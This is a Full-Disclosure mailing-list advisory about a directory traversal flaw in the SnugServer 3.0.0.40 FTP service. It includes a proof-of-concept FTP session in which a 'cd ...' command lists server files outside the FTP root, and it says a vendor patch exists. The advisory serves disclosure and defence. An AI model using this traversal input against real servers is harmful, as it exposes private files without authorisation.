See Security, Research and Development www.see-security.com ------------------------------------------------------
[-] Product Information SnugServer - All your Software Servers in 1 Application. Upload and download files to/from the Internet. Unique firewall file system where your FTP files can be stored in a data file to prevent internal network hacker attacks. Product Homepage: http://www.snugserver.com/ [-] Vulnerability Description A file traversal vulnerability has been discovered in SnugServer 3.0.0.40 FTP Service, which allows access to the server filesystem, outside of ftproot. [-]PoC [EMAIL PROTECTED]:/# ftp 192.168.1.154 Connected to 192.168.1.154. 220- Welcome FTP User. SnugServer is ready. Name (192.168.1.154:root): [EMAIL PROTECTED] 331 Password required for [EMAIL PROTECTED] Password: 230 See FTP Server Remote system type is You. ftp> ls 200 PORT Command Successful. 150 Opening ASCII mode data connection for directory listing. drw-rw-rw- 1 owner group 0 Jan 21 03:51 .. drw-rw-rw- 1 owner group 0 Jan 21 02:08 dir 226 Transfer Complete. ftp> cd ... 200 PORT Command Successful. ftp> ls 200 PORT Command Successful. 150 Opening ASCII mode data connection for directory listing. drw-rw-rw- 1 owner group 0 Jan 21 03:51 .. drw-rw-rw- 1 owner group 0 Jan 21 03:51 Cert drw-rw-rw- 1 owner group 0 Jan 21 03:51 Logs drw-rw-rw- 1 owner group 0 Jan 21 03:51 Requests drw-rw-rw- 1 owner group 0 Jan 21 03:51 Scripts drw-rw-rw- 1 owner group 0 Jan 21 03:51 Errors drw-rw-rw- 1 owner group 0 Jan 21 03:51 Queue drw-rw-rw- 1 owner group 0 Jan 21 03:51 www drw-rw-rw- 1 owner group 0 Jan 21 03:51 Infected drw-rw-rw- 1 owner group 0 Jan 21 03:51 Temp drw-rw-rw- 1 owner group 0 Jan 21 03:51 Filtered drw-rw-rw- 1 owner group 0 Jan 21 03:51 BaseData -rw-rw-rw- 1 owner group 8421376 Jan 21 03:52 SNUG.FDB drw-rw-rw- 1 owner group 0 Jan 21 03:51 ftp -rw-rw-rw- 1 owner group 1861120 Jan 21 03:52 Snug.gbk -rw-rw-rw- 1 owner group 32 Jan 21 03:52 yarrow.rnd 226 Transfer Complete. ftp> [-] Patch The vendor has been notified, and an update is available at: http://www.snugserver.com/download.php [-] Credits This vulnerability was discovered by muts _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
